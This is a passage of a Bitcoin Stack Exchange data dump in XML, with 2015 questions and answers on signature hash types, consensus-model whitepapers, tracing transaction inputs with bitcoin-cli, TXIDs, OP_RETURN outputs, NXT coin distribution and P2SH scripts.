&amp;lt;sigHash&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;ECDA Sig is the signature of a hash of the transaction in DER encoding. sigHash is a byte that specifies how to generate this hash (ie: what is actually signed).&lt;/p&gt;&#xA;&lt;p&gt;sigHash itself contains 2 informations.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;AnyoneCanPay&amp;gt;&amp;lt;All|None|Single&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So what is signed is a calculated hash of your transaction depending on the sigHash. The human friendly explanation is &lt;a href=&quot;https://en.bitcoin.it/wiki/OP_CHECKSIG&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, and the most readable code doing that is &lt;a href=&quot;https://github.com/NicolasDorier/NBitcoin/blob/master/NBitcoin/Script.cs#L459&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Once you calculated the hash, you need to sign it according to &lt;a href=&quot;https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm&quot; rel=&quot;nofollow noreferrer&quot;&gt;this math&lt;/a&gt; on elliptic curves.&#xA;Due to the need in the algorithm of a random K value, it supposes a fair RNG.&#xA;So &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc6979&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC6979&lt;/a&gt; describes a way for finding a K value that is not random but secure to use.  (implementation &lt;a href=&quot;https://github.com/NicolasDorier/NBitcoin/blob/master/NBitcoin/Crypto/DeterministicECDSA.cs&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;So here is what is signed, depending on the sigHash you choose:&lt;/p&gt;&#xA;&lt;p&gt;AnyoneCanPay : You allow someone to modify any input in the transaction. (don't sign inputs, except yours)&lt;/p&gt;&#xA;&lt;p&gt;All : You deny modification of outputs in the transaction. (sign outputs)&lt;/p&gt;&#xA;&lt;p&gt;Single : You deny modification of the output having the same index as you input (sign one output)&lt;/p&gt;&#xA;&lt;p&gt;None : You allow modification of any output in the transaction. (sign no output)&lt;/p&gt;&#xA;&lt;p&gt;Second question :&#xA;No, whatever the sigHash you use, part of your signature contains the previous output reference you are spending. Since you can't double spend, you can't reuse the signature.&#xA;However, if you really want to do that, then use the same K value for signing 2 different hashes, then you basically leaked your private key. So anyone would be able to &amp;quot;unlock&amp;quot; a future transaction made to your bitcoin address by knowing the two signatures.&lt;/p&gt;&#xA;" OwnerUserId="21478" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2019-04-24T15:44:55.427" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="36668" PostTypeId="1" CreationDate="2015-03-30T13:59:19.833" Score="7" ViewCount="442" Body="&lt;p&gt;I'm looking for other types of distribution models for crypto coins that are like POW (proof of work) and POS (proof of stake). I'm assuming these are a type of distribution model for coins, or is there a better term for it? I mainly want to find other systems that have unique ways of distributing a coin. Is there a list somewhere?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2018-01-06T02:27:16.253" Title="What other whitepapers are there for coin distribution models like POW (proof of work) and POS (proof of stake)?" Tags="|proof-of-work|proof-of-stake|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36669" PostTypeId="2" ParentId="36665" CreationDate="2015-03-30T14:00:38.277" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3374/how-to-redeem-a-basic-tx&quot;&gt;How to redeem a basic Tx?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The question is not clear to me. Do you want to send your transaction after signing? Or do you want to hold the signature for later use?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-03-30T14:00:38.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36670" PostTypeId="2" ParentId="24456" CreationDate="2015-03-30T14:27:05.497" Score="0" Body="&lt;p&gt;In such a scenario, the best way to deal with it actually is to use an trusted third party escrow. We can imagine banks or popular car sellers providing such services in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bob would sends money to a 2-2 owned by bank+alice.&#xA;If Bob is happy with it, he informs the bank directly and the bank and alice signs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alice trusting her bank not to double spend, she can let Bob leave.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meni Rosenfeld's micropayment solution is not recommended currently, because of malleability issues the &quot;refunding transaction&quot; can be rendered ineffective, which would block the funds. But this will be the best solution once OP_CHECKLOCKTIMEVERIFY is enforced by miners because no trusted parties will be involved.&#xA;V3 transactions would also solve the problem.&lt;/p&gt;&#xA;" OwnerUserId="21478" LastActivityDate="2015-03-30T14:27:05.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36671" PostTypeId="2" ParentId="36668" CreationDate="2015-03-30T14:34:01.243" Score="10" Body="&lt;p&gt;I don't know of any such list yet, but no reason we can't start making one. :) Others should feel free to add their findings via an edit.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proof of Work&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.peercoin.net/assets/paper/peercoin-paper.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proof of Stake&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://eprint.iacr.org/2014/452.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proof of Activity&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://storj.io/storj.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proof of Storage&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/ziftrCOIN/comments/2wlg5l/ziftrcoin_mining_update_proof_of_knowledge/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proof of Knowledge&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.reddcoin.com/papers/PoSV.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proof of Stake Velocity&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://slimcoin.org/index.php/en/resources-en/proof-of-burn&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proof of Burn&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://primecoin.io/bin/primecoin-paper.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dual Purpose Proof of Work&lt;/a&gt; (Primecoin)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tendermint.com/docs/tendermint.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proof of Lock&lt;/a&gt; (Tendermint)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitshares.org/blog/delegated-proof-of-stake/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Delegated Proof of Stake&lt;/a&gt; (Bitshares)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.stellar.org/papers/stellar-consensus-protocol.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stellar Consensus Protocol&lt;/a&gt; (Stellar)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.xoken.org/knowledge-base/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Xoken Consensus Protocol&lt;/a&gt; (Xoken)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-01-17T04:31:41.353" LastActivityDate="2017-01-17T04:31:41.353" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36672" PostTypeId="2" ParentId="36654" CreationDate="2015-03-30T15:09:24.627" Score="5" Body="&lt;p&gt;The data you are looking for isn't actually included in the transaction that spends the UTXOs. Addresses are basically shorthand for a &lt;code&gt;scriptPubKey&lt;/code&gt;, and &lt;code&gt;scriptPubKey&lt;/code&gt;s are associated with outputs, not inputs. So if you want to check if an input spends from a certain address, you have to get the corresponding previous output and look what address it pays to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a transaction in my &lt;code&gt;listtransactions&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;account&quot; : &quot;&quot;,&#xA;&quot;address&quot; : &quot;mmcuav4ZD8EBc8aH5EkoGcKZSPsoHz1UzZ&quot;,&#xA;&quot;category&quot; : &quot;receive&quot;,&#xA;...&#xA;&quot;txid&quot; : &quot;8cb677f33d2ad2d9d94a4aa5552cd6a09615568abb7e5fd3c34df3c7869105d3&quot;,&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I use &lt;code&gt;getrawtransaction&lt;/code&gt; to see what my transactions inputs are: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli getrawtransaction 8cb677f33d2ad2d9d94a4aa5552cd6a09615568abb7e5fd3c34df3c7869105d3 1&#xA;&#xA;...&#xA;&quot;vin&quot; : [&#xA;    {&#xA;        &quot;txid&quot; : &quot;33e25fd78c075dff3b0474911ca2244c5246cb40b0b34653e2fe1ca6f7c26d46&quot;,&#xA;        &quot;vout&quot; : 1,&#xA;        &quot;scriptSig&quot; : {&#xA;            &quot;asm&quot; : &quot;3044022009ee6ccde46a58d7e5347ed28e8e946b1cbca3518c5066bcf1809abdfef9ef940220254fa3ed7f80831f08f760958d870a575f612aa5bb67add4cd4eb7d135a75b6a01 02a54cf1e2ecaea3e56721af6e90eb8e934597ee77cd03e060bbed47b8db03a754&quot;,&#xA;            &quot;hex&quot; : &quot;473044022009ee6ccde46a58d7e5347ed28e8e946b1cbca3518c5066bcf1809abdfef9ef940220254fa3ed7f80831f08f760958d870a575f612aa5bb67add4cd4eb7d135a75b6a012102a54cf1e2ecaea3e56721af6e90eb8e934597ee77cd03e060bbed47b8db03a754&quot;&#xA;        },&#xA;        &quot;sequence&quot; : 4294967295&#xA;    }&#xA;]&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I look at the transaction output that funded this input, which is at index 1. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli getrawtransaction 33e25fd78c075dff3b0474911ca2244c5246cb40b0b34653e2fe1ca6f7c26d46 1&#xA;&#xA;...&#xA;&quot;vout&quot; : [&#xA;    ...&#xA;    {&#xA;        &quot;value&quot; : 2.39990000,&#xA;        &quot;n&quot; : 1,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_DUP OP_HASH160 1fab219d5483021bd791453e155f7b956f4b3ed4 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;hex&quot; : &quot;76a9141fab219d5483021bd791453e155f7b956f4b3ed488ac&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;miQQFQse4DwFE9rkMkZ78CwvTHkg3sTJmc&quot;&#xA;            ]&#xA;        }&#xA;    }&#xA;]&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, miQQFQse4DwFE9rkMkZ78CwvTHkg3sTJmc is the addres that funded my original transaction. Obviously, this can be automated so you don't have to make all these calls each time you want to see the address that funded a transaction.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-03-30T15:09:24.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36673" PostTypeId="1" AcceptedAnswerId="36674" CreationDate="2015-03-30T18:48:06.933" Score="0" ViewCount="157" Body="&lt;p&gt;My question is if I can set the TXID in a raw transaction and send it after it with 'sendrawtransaction' (from the qt console)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, is there a way to do it? And if there is a way, does it means I can send to the bitcoin network the same transaction id over and over again even if the transaction itself is different each time (different inputs or outputs). &lt;/p&gt;&#xA;" OwnerUserId="5152" LastEditorUserId="18196" LastEditDate="2015-04-07T17:46:57.893" LastActivityDate="2015-04-07T17:46:57.893" Title="How to set TXID in rawtransaction?" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36674" PostTypeId="2" ParentId="36673" CreationDate="2015-03-30T18:53:49.003" Score="0" Body="&lt;p&gt;You cannot choose the TXID of your transaction, really. It is calculated by SHA256d hashing the serialized transaction bytes. If you did happen to get miraculously lucky enough to get a transaction with the same hash as a different transaction, then it would be refused by the network for attempting to overwrite a transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There used to be a bug in bitcoin that coinbase transactions could have the same TXID sometimes. This was fixed by &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0034.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP34&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-03-30T18:53:49.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36675" PostTypeId="1" AcceptedAnswerId="36735" CreationDate="2015-03-30T19:34:35.590" Score="2" ViewCount="241" Body="&lt;p&gt;As Nxt's generating accounts receive now the transaction fees of the transactions included in the block they forged, it would be possible to add some new NXT to the balance of the generating account, incentivizing forging even more and distributing the currency in a better way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a technical reason why all NXT were distributed in the beginning instead of distributed over time?&lt;/p&gt;&#xA;" OwnerUserId="24585" LastEditorUserId="5406" LastEditDate="2015-03-31T09:22:56.797" LastActivityDate="2021-10-18T12:51:59.530" Title="What prevented NXT from being distributed the same way bitcoins are?" Tags="|nxt|wealth-distribution|" AnswerCount="4" CommentCount="2" ClosedDate="2021-10-22T18:53:39.290" ContentLicense="CC BY-SA 3.0" />
  <row Id="36676" PostTypeId="1" AcceptedAnswerId="36678" CreationDate="2015-03-30T21:40:17.977" Score="5" ViewCount="1138" Body="&lt;p&gt;What does it mean when an output has a value of zero and no address?  I'm looking at some fairly recent transactions, and I don't understand what this means.  Here's an example: &lt;a href=&quot;https://blockchain.info/block-height/348120?format=json&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/block-height/348120?format=json&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the transactions quickly if you search that page for &lt;code&gt;&quot;value&quot;:0&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24755" LastActivityDate="2015-03-31T04:10:53.657" Title="Why do some outputs have a zero value and no address?" Tags="|blockchain|output|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36677" PostTypeId="1" AcceptedAnswerId="36692" CreationDate="2015-03-30T22:07:17.100" Score="1" ViewCount="171" Body="&lt;p&gt;If I import a private key into a bitcoin-qt wallet, is it possible that some day some transaction I send from the wallet will use its pair address (the bitcoin address created from this private key ) as a change address target in the outputs ? &lt;/p&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2015-04-01T22:18:59.090" Title="Can bitcoin-qt use imported address as a change address?" Tags="|bitcoin-core|private-key-import|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36678" PostTypeId="2" ParentId="36676" CreationDate="2015-03-30T22:14:59.210" Score="6" Body="&lt;p&gt;The outputs have no address because they are data-carrying outputs. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {&#xA;     &quot;spent&quot;:false,&#xA;     &quot;tx_index&quot;:80899271,&#xA;     &quot;type&quot;:0,&#xA;     &quot;value&quot;:0,&#xA;     &quot;n&quot;:3,&#xA;     &quot;script&quot;:&quot;6a144153435249424553504f4f4c5245474953544552&quot;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;script&lt;/code&gt; argument is the serialized equivalent of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_RETURN 4153435249424553504f4f4c5245474953544552&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(The hex decodes to &quot;ASCRIBESPOOLREGISTER&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;OP_RETURN&lt;/code&gt; means that all attempts to spend this output will fail. This can't be spent, so there's no point in putting money in it - it would just be lost.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-31T04:10:53.657" LastActivityDate="2015-03-31T04:10:53.657" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36686" PostTypeId="1" CreationDate="2015-03-31T06:14:06.907" Score="3" ViewCount="407" Body="&lt;p&gt;I see there is an option to export history but no option to import history. It would be nice to keep all my history in one wallet. Thx.&lt;/p&gt;&#xA;" OwnerUserId="24879" LastActivityDate="2015-03-31T06:14:06.907" Title="Is it possible to import transaction history from an old electrum wallet to a new electrum wallet?" Tags="|wallet|electrum|import|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36687" PostTypeId="2" ParentId="36675" CreationDate="2015-03-31T09:18:19.763" Score="1" Body="&lt;p&gt;From studying the &lt;a href=&quot;http://wiki.nxtcrypto.org/wiki/Whitepaper:Nxt&quot; rel=&quot;nofollow&quot;&gt;Whitepaper&lt;/a&gt; it appears that there is no technical reason not to have block rewards, rather it appears to be a design decision that the sum of all assets is always zero: When Nxt's Genesis block was created, the Genesis account issued 1,000,000,000 NXT which were distributed to other accounts, hence rendering the account with a negative balance and unable to send any other transactions. As the sum of all assets must remain the same in each block, no more can be created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find any further explanation for the decision of initial distribution, but all initial NXT were distributed among the 72 users that contributed to the Nxt funding.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-03-31T09:24:14.863" LastActivityDate="2015-03-31T09:24:14.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36688" PostTypeId="2" ParentId="36675" CreationDate="2015-03-31T11:05:35.143" Score="1" Body="&lt;p&gt;Proof of work in Bitcoin has two distinct purposes: To issue coins, and to synchronize transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In NXT, PoW for synchronization was eschewed, the stated purpose being reducing long-term energy usage and ecologic harm. They're using PoS instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, probably misunderstanding the roles of PoW, they thought this means they also shouldn't use PoW for issuing either. Some method of issuing is still needed, and forgoing PoW doesn't leave much options, since PoS is not a valid issuing method. So they went with a centralized issuing, where the coin's creator gets all the proceeds from the issuing. Of course, this means the currency is not decentralized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably, the creator wanted to get rich quick, and this contributed to the decision.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2015-03-31T11:05:35.143" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36690" PostTypeId="2" ParentId="462" CreationDate="2015-03-31T12:36:38.057" Score="3" Body="&lt;p&gt;There is a consensus that &lt;em&gt;BitCoin&lt;/em&gt; is wrong spelling, incompatible with the original Satoshi article. The Wall Street Journal and The Chronicle of Higher Education advocate use of lowercase &lt;em&gt;bitcoin&lt;/em&gt; in all cases, and this convention was also accepted by Wikipedia editors.&lt;/p&gt;&#xA;" OwnerUserId="9955" LastActivityDate="2015-03-31T12:36:38.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36692" PostTypeId="2" ParentId="36677" CreationDate="2015-03-31T15:29:05.140" Score="1" Body="&lt;p&gt;As far as I know, Bitcoin Core (aka bitcoin-qt) always uses a brand new change address for every transaction, in order to improve privacy and make it harder to trace transactions.  It never reuses an address that has been used before; I can't think of any good reason to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a little digging, one should be able to find the appropriate line in the source code; but I haven't done so.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-03-31T15:29:05.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36693" PostTypeId="1" CreationDate="2015-03-31T16:28:59.513" Score="0" ViewCount="294" Body="&lt;p&gt;I've mined a few blocks on a blockchain, and I'm trying to figure how to actually see them. What is the correct RPC command ? I've managed to see all the coinbase transactions thanks to &lt;code&gt;listtransactions&lt;/code&gt;, and my &lt;code&gt;getbalance&lt;/code&gt; output seems ok, but they don't show up in &lt;code&gt;listreceivedbyaddress&lt;/code&gt; nor &lt;code&gt;listreceivedbyaccount&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24886" LastEditorUserId="5406" LastEditDate="2016-02-08T13:04:15.737" LastActivityDate="2016-02-08T13:04:15.737" Title="How can I list my mined coins using RPC? And spend them?" Tags="|bitcoind|json-rpc|block|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36695" PostTypeId="1" AcceptedAnswerId="36698" CreationDate="2015-03-31T18:39:28.813" Score="3" ViewCount="1949" Body="&lt;p&gt;To steal a P2PKH output you would have to find the private key of the public key that generated the hash used in the tx. This is impossible to do in a feasible timespan, therefore making the tx secure. What incentivized the use of P2SH? I'm particularly asking in the light of &lt;a href=&quot;https://bitcoin.org/en/developer-guide#p2sh-scripts&quot; rel=&quot;nofollow&quot;&gt;this paragraph&lt;/a&gt; of the Bitcoin developer guide:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Pubkey scripts are created by spenders who have little interest in the long-term security or usefulness of the particular satoshis they’re currently spending. Receivers do care about the conditions imposed on the satoshis by the pubkey script and, if they want, they can ask spenders to use a particular pubkey script. Unfortunately, custom pubkey scripts are less convenient than short Bitcoin addresses and more difficult to secure than P2PKH pubkey hashes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have been unable to find an example of a &quot;reedem script&quot;, could you give one?&lt;/p&gt;&#xA;" OwnerUserId="24585" LastEditorUserId="2306" LastEditDate="2015-06-12T02:22:41.783" LastActivityDate="2015-06-12T02:22:41.783" Title="Which security threats in P2PKH lead to the use of P2SH?" Tags="|p2sh|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36696" PostTypeId="2" ParentId="36646" CreationDate="2015-03-31T20:18:29.063" Score="2" Body="&lt;p&gt;There are some excellent papers by Aviv Zohar (Red balloons, GHOST etc.) which at least touch on game theory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a comprehensive list of papers at &lt;a href=&quot;https://docs.google.com/spreadsheets/d/1VaWhbAj7hWNdiE73P-W-wrl5a0WNgzjofmZXe0Rh5sg/edit#gid=0&quot; rel=&quot;nofollow&quot;&gt;https://docs.google.com/spreadsheets/d/1VaWhbAj7hWNdiE73P-W-wrl5a0WNgzjofmZXe0Rh5sg/edit#gid=0&lt;/a&gt;, you can browse it to see if any could be relevant.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2015-03-31T20:18:29.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36697" PostTypeId="2" ParentId="36693" CreationDate="2015-03-31T22:11:34.663" Score="1" Body="&lt;p&gt;You can use the &lt;code&gt;listsinceblock&lt;/code&gt; command to filter out the &lt;code&gt;mined&lt;/code&gt; coins. &lt;code&gt;listsinceblock&lt;/code&gt; contains a &lt;code&gt;category&lt;/code&gt; field. The values you're looking for are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;generate&lt;/code&gt;: for coins mined locally that are available for spending&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;immature&lt;/code&gt;: same as above but coins cannot be spent yet&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2015-03-31T22:11:34.663" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36698" PostTypeId="2" ParentId="36695" CreationDate="2015-03-31T22:36:37.957" Score="6" Body="&lt;p&gt;The only security concern of P2PKH is that it only requires 1 key to spend coins paid to it. P2SH just lets you be even more secure by easily putting more conditions on the redemption of your coins, like requiring more than 1 key to spend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, let's say I'm a person that wants to keep my bitcoins really safe, and the way I want to do that is by requiring 3 out of a set of 5 keys to spend my coins. So, the &lt;code&gt;scriptPubKey&lt;/code&gt; that I would like everyone to use when they send coins to me is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_3 {pubkey1} {pubkey2} {pubkey3} {pubkey4} {pubkey5} OP_5 OP_CHECKMULTISIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But each pubkey is 33 bytes and so this makes a script that is ~170 bytes, which is a bit much to encode in a QR code. And it is definitely is too much data for a human to process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I use P2SH, the &lt;code&gt;scriptPubKey&lt;/code&gt; is just 23 bytes and the sender doesn't have to worry about what exactly the redeem condition I am setting on my coins is. P2SH works like this. I take the script that I want to be my &lt;code&gt;scriptPubKey&lt;/code&gt; and I serialize it (I'll use {} to denote serialization):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;redeemScript = {OP_3 {pubkey1} {pubkey2} {pubkey3} {pubkey4} {pubkey5} OP_5 OP_CHECKMULTISIG}&#xA;redeemScript_hash = hash160(sha256(redeemScript))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then the &lt;code&gt;scriptPubKey&lt;/code&gt; that the sender actually uses is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_HASH160 {redeemScript_hash} OP_EQUAL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is just 23 bytes in total. The nice thing is that it provides a layer of abstraction. The person who is sending me coins doesn't need to know how I am keeping my coins secure. All they see is a hash of a &lt;code&gt;redeemScript&lt;/code&gt;, but they don't know what conditions that &lt;code&gt;redeemScript&lt;/code&gt; actually puts on redeeming the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, P2SH itself is not inherently more secure because the redeem script can be anything. But what it does is enable coin-receivers to easily communicate how coin-senders should send them coins, while letting the coin-receivers dictate the conditions of how/when those coins can be spent.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-03-31T22:59:57.503" LastActivityDate="2015-03-31T22:59:57.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36700" PostTypeId="1" CreationDate="2015-04-01T04:45:41.747" Score="4" ViewCount="266" Body="&lt;p&gt;There are many projects being worked on that involve using the bitcoin blockchain for its public verifiability and immutability. A few examples would be Counterparty, Medici, Factom, etc. But each use case for the bitcoin blockchain also adds an incentive to attack it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, say some sort of a stock chain/ledger is secured by the bitcoin blockchain, and the total value of all stocks secured is more than 1 trillion USD. Then, even though the total market cap of the native currency to the ledger is only ~3.5 billion USD, there may be an incentive to reverse/modify the bitcoin blockchain in order to modify the stock market's chain of transactions. Miners do the necessary work to secure these types of services, but their fee does not correlate with the real-world value of the data they are securing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, services that use the block chain like this can't be prevented, as it is a completely open peer-to-peer system. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;How can external services that add incentives to attack the network also add incentives for miners to secure it?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Merged mining with Namecoin, a decentralized service that uses the bitcoin blockchain for security, adds to the security of the bitcoin blockchain by awarding Namecoins. Centralized services, like a stock exchange, do have an incentive to keep the chain secure, because if the bitcoin block chain is attacked, then very few people will use their service. And they may be able to add to the mining incentive in a way that encourages people to try their service, similar to a marketing fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One upside is that just the existence of such services may bring utility to and encourage confidence in bitcoin, raising bitcoin's price and, hence, raising the reward for mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for descriptions of technical solutions for a standard process by which services can do their part to keep the blockchain secure, while maintaining the decentralization of the network. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-04-07T16:15:42.360" LastActivityDate="2015-04-07T16:15:42.360" Title="How can services that use the bitcoin blockchain help secure it?" Tags="|blockchain|security|crypto-2.0|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
